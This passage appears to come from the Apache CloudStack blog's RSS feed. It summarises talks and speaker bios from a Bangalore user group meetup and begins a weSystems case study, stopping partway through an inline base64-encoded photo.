VP of Apache CloudStack welcomes the CloudStack India User Group meetup attendees in Bangalore and walks through the current state of the Apache CloudStack community, composition of committers and PMC members, release activities, contributor trends on mailing lists and GitHub, and update on community initiatives and upcoming events.</p><p><strong>Speaker Bio:</strong>
<a href="https://www.linkedin.com/in/rohityadavcloud/" target="_blank" rel="noopener noreferrer">Rohit</a> is the current VP of the
Apache CloudStack project, as well as a PMC member. At work, Rohit is the
VP of engineering at ShapeBlue, where he provides leadership and mentorship to
the ever-growing Engineering Team.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="whats-coming-in-cloudstack-419-abhishek-kumar">What's Coming in CloudStack 4.19, Abhishek Kumar<a href="#whats-coming-in-cloudstack-419-abhishek-kumar" class="hash-link" aria-label="Direct link to What's Coming in CloudStack 4.19, Abhishek Kumar" title="Direct link to What's Coming in CloudStack 4.19, Abhishek Kumar">​</a></h3><p><a href="https://www.youtube.com/watch?v=TdFFW0dL9io" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/whats-new-4.19-6c749a13b0f1a36963f164cbaba885af.png" title="What's New in ACS 4.19" width="1384" height="766" class="img_ev3q"></a></p><iframe src="https://www.slideshare.net/slideshow/embed_code/key/q10q4hkRSULcD" width="100%" height="400" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"> </iframe><br><strong> <a href="https://www.slideshare.net/ShapeBlue/whats-coming-in-cloudstack-419" target="_blank" rel="noopener noreferrer" title="What's Coming in CloudStack 4.19">Open in SlideShare</a></strong><p><strong>Session Description:</strong>
An early overview of the upcoming new and exciting features and improvements in
the next major LTS release of CloudStack, 4.19. Abhishek Kumar, who will be
acting as the release manager for the CloudStack 4.19, gives a quick recap of
the major additions in the previous LTS release - 4.18.0, discusses the timeline
for the 4.19.0 release and talks about the planned and expected new features in
the upcoming release.</p><p><strong>Speaker Bio:</strong>
<a href="https://www.linkedin.com/in/shwstppr/" target="_blank" rel="noopener noreferrer">Abhishek</a> is a committer of the Apache
CloudStack project and has worked on the notable features such as VM ingestion,
CloudStack Kubernetes Service, IPv6 support, etc. He works as a Software
Engineer at ShapeBlue.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="deploying-kubernetes-clusters-on-apache-cloudstack-kiran-chavala-and-vishesh-jindal">Deploying Kubernetes Clusters on Apache CloudStack, Kiran Chavala and Vishesh Jindal<a href="#deploying-kubernetes-clusters-on-apache-cloudstack-kiran-chavala-and-vishesh-jindal" class="hash-link" aria-label="Direct link to Deploying Kubernetes Clusters on Apache CloudStack, Kiran Chavala and Vishesh Jindal" title="Direct link to Deploying Kubernetes Clusters on Apache CloudStack, Kiran Chavala and Vishesh Jindal">​</a></h3><p><a href="https://www.youtube.com/watch?v=y2D4kpFASK8" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/k8s-talk-acb9a916299a69a06731c4605fc9b3bb.png" width="1384" height="770" class="img_ev3q"></a></p><iframe src="https://www.slideshare.net/slideshow/embed_code/key/wkQ5R4NGml0wVC" width="100%" height="400" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"> </iframe><br><strong> <a href="https://www.slideshare.net/ShapeBlue/deploying-kubernetes-clusters-on-apache-cloudstack" target="_blank" rel="noopener noreferrer" title="Deploying Kubernetes Clusters on Apache CloudStack">Open in SlideShare</a> </strong><p><strong>Session Description:</strong></p><p>Currently Apache CloudStack supports two methods to deploy Kubernetes Clusters
(CKS, CAPC). This session gives a demo on how to easily deploy CKS and CAPC on
Apache CloudStack and will also give an overview of various use cases which will
help you to choose the best deployment based on your requirement.</p><p><a href="http://docs.cloudstack.apache.org/en/latest/plugins/cloudstack-kubernetes-service.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/latest/plugins/cloudstack-kubernetes-service.html</a></p><p><a href="https://cluster-api-cloudstack.sigs.k8s.io/getting-started.html" target="_blank" rel="noopener noreferrer">https://cluster-api-cloudstack.sigs.k8s.io/getting-started.html</a></p><p><strong>Speakers Bios:</strong></p><p>For work, <a href="https://www.linkedin.com/in/kiran-chavala-1bb6a97/" target="_blank" rel="noopener noreferrer">Kiran</a> is a QA engineer at
ShapeBlue. Kiran has experience in providing technical support on various issues
related to CloudStack.</p><p><a href="https://www.linkedin.com/in/vishesh92/" target="_blank" rel="noopener noreferrer">Vishesh</a> is a software engineer at
ShapeBlue. He has experience in developing and
managing cloud infrastructure. He has a particular interest in databases and has
worked extensively on them.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstack-object-storage-framework-and-demo-kishan-kavala">CloudStack Object Storage Framework and Demo, Kishan Kavala<a href="#cloudstack-object-storage-framework-and-demo-kishan-kavala" class="hash-link" aria-label="Direct link to CloudStack Object Storage Framework and Demo, Kishan Kavala" title="Direct link to CloudStack Object Storage Framework and Demo, Kishan Kavala">​</a></h3><p><a href="https://www.youtube.com/watch?v=d9kpIJAu8Yo" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/object-storage-318f6eea1ae6110d5be3eb6739fac135.png" width="904" height="502" class="img_ev3q"></a></p><iframe src="https://www.slideshare.net/slideshow/embed_code/key/46zMXIcvGFdH8X" width="100%" height="400" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"> </iframe><br><strong> <a href="https://www.slideshare.net/ShapeBlue/cloudstack-object-storage-framework-demo" target="_blank" rel="noopener noreferrer" title="CloudStack Object Storage Framework &amp; Demo">Open in SlideShare</a> </strong><p><strong>Session Description:</strong>
In this session, Kishan introduces Object Storage and its use cases. He also
demos CloudStack Object Framework using MinIO provider. The demo includes the
creation of an Object Store, Bucket and using an S3 compatible client to access
objects.</p><p><strong>Speaker Bio:</strong>
<a href="https://www.linkedin.com/in/kishankavala/" target="_blank" rel="noopener noreferrer">Kishan</a> is a committer to the
CloudStack project and works as a software architect at ShapeBlue.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstack-managed-user-data-and-demo-harikrishna-patnala">CloudStack Managed User-data and Demo, Harikrishna Patnala<a href="#cloudstack-managed-user-data-and-demo-harikrishna-patnala" class="hash-link" aria-label="Direct link to CloudStack Managed User-data and Demo, Harikrishna Patnala" title="Direct link to CloudStack Managed User-data and Demo, Harikrishna Patnala">​</a></h3><p>(The session recording is not available)</p><iframe src="https://www.slideshare.net/slideshow/embed_code/key/Ln76YBl687IEq6" width="100%" height="400" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"> </iframe><br><strong> <a href="https://www.slideshare.net/ShapeBlue/cloudstack-managed-userdata-demo" target="_blank" rel="noopener noreferrer" title="CloudStack Managed User-data &amp; Demo">Open in SlideShare</a></strong><p><strong>Session Description:</strong>
When launching a new Instance on Apache CloudStack, users can set a UserData
script to be executed by cloud-init during the boot process. The ‘CloudStack
Managed UserData’ feature extends this functionality allowing one to automate
the installation of packages, update the instance’s OS, and configure
applications during instance deployment. Managed UserData enables users to
register and manage their own UserData script(s) as a CloudStack resource. It
can be associated with a CloudStack Template/ISO, or when a new Instance is
being deployed.</p><p><strong>Speaker Bio:</strong>
<a href="https://www.linkedin.com/in/harikrishnapatnala/" target="_blank" rel="noopener noreferrer">Harikrishna</a> works at
ShapeBlue as a software engineer and is also engaged in active development of
new features and capabilities for the Apache CloudStack project. He has been
working on CloudStack since 2012 and is a committer to the project.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="deploying-cloudstack-with-ceph-ravichandran">Deploying CloudStack with Ceph, Ravichandran<a href="#deploying-cloudstack-with-ceph-ravichandran" class="hash-link" aria-label="Direct link to Deploying CloudStack with Ceph, Ravichandran" title="Direct link to Deploying CloudStack with Ceph, Ravichandran">​</a></h3><p><a href="https://www.youtube.com/watch?v=4ka_JAibdlc" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/ceph-talk-a3e265c388ad86d69bf6404263fa8437.png" width="1384" height="770" class="img_ev3q"></a></p><iframe src="https://www.slideshare.net/slideshow/embed_code/key/tawlrOJg0jCSCL" width="100%" height="400" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"> </iframe><br><strong> <a href="https://www.slideshare.net/ShapeBlue/deploying-cloudstack-with-ceph" target="_blank" rel="noopener noreferrer" title="Deploying CloudStack with Ceph">Open in SlideShare</a> </strong><p><strong>Session Description:</strong>
In this session, Ravi Described some use cases about harmonizing Ceph storage
with Apache CloudStack for a CloudStack infrastructure setup. This includes
using primary and secondary storage for CloudStack, synchronizing and rendering
VM snapshots accessible across remote zones, fortifying storage for disaster
recovery, and upholding client VM data backup.</p><p><strong>Speaker Bio:</strong>
<a href="https://www.linkedin.com/in/ravichandran-p-99948054/" target="_blank" rel="noopener noreferrer">Ravichandran</a> has 15+
years of technical expertise in Linux and Cloud solutions in Assistanz Networks
Private Limited. Ravi is currently leading Business Development at Apache
CloudStack consulting, Storage solutions and Stackbill CMP product.</p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="mitigating-common-cloudstack-instance-deployment-failures-jithin-raju">Mitigating Common CloudStack Instance Deployment Failures, Jithin Raju<a href="#mitigating-common-cloudstack-instance-deployment-failures-jithin-raju" class="hash-link" aria-label="Direct link to Mitigating Common CloudStack Instance Deployment Failures, Jithin Raju" title="Direct link to Mitigating Common CloudStack Instance Deployment Failures, Jithin Raju">​</a></h3><p><a href="https://www.youtube.com/watch?v=t7uVwaqZzyY" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/vm-failure-talk-f389c7213491047b42a8ed7400646ed5.png" width="1384" height="760" class="img_ev3q"></a></p><iframe src="https://www.slideshare.net/slideshow/embed_code/key/9LvAIhGjhIe2xX" width="100%" height="400" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"> </iframe><br><strong> <a href="https://www.slideshare.net/ShapeBlue/mitigating-common-cloudstack-instance-deployment-failures" target="_blank" rel="noopener noreferrer" title="Mitigating Common CloudStack Instance Deployment Failures">Open in SlideShare</a> </strong><p><strong>Session Description:</strong>
A discussion on the common failures when using CloudStack taking instance
deployment as an example. The session includes 15 specific failure scenarios,
their causes, and possible mitigation steps.</p><p><strong>Speaker Bio:</strong>
For work, <a href="https://www.linkedin.com/in/rajujith/" target="_blank" rel="noopener noreferrer">Jithin</a> is a cloud architect
at ShapeBlue. Jithin has helped organisations around the globe use commercial
distributions of Apache CloudStack in the past 10 years.</p>]]></content:encoded>
            <category>news</category>
            <category>roundup</category>
        </item>
        <item>
            <title><![CDATA[We Systems Case Study]]></title>
            <link>https://cloudstack.apache.org/blog/we-systems-case-study</link>
            <guid>https://cloudstack.apache.org/blog/we-systems-case-study</guid>
            <pubDate>Thu, 17 Aug 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[In the ever-evolving landscape of IT infrastructure, innovation and adaptability]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/we-systems-case-study"><img loading="lazy" src="/assets/images/banner-14e11e0c64f0aacf0288c3d0324a2392.png" title="CSC" width="1200" height="628" class="img_ev3q"></a></p><p>In the ever-evolving landscape of IT infrastructure, innovation and adaptability
are paramount. Companies like <a href="https://wesystems.de/en/" target="_blank" rel="noopener noreferrer">weSystems</a> understand
this truth all too well. Specializing in IT infrastructure, data center
services, connectivity, and networks, weSystems is dedicated to developing
tailor-made computing and storage solutions that empower their customers with
cutting-edge technology.</p><p>They develop computing and storage solutions that give their customers the
highest computing power and the most secure storage capacities.</p><p>This case study reveals how weSystems leveraged Apache CloudStack to create a
multi-tenant IaaS cloud offering that aligns seamlessly with their mission.</p><a class="button button--primary" target="_blank" href="/files/ACS-WeSystems-Case-Study.pdf">DOWNLOAD THE CASE STUDY</a><br><br><h1>Tailoring Solutions in the Digital Age</h1><p>The digital transformation has reshaped the way businesses operate and interact.
It brings along new challenges that necessitate bespoke solutions. Stephan
Bienek, Head of Hosting at weSystems AG, highlights the importance of developing
custom solutions with open-source technology:</p><p><img loading="lazy" src="data:image/jpeg;base64,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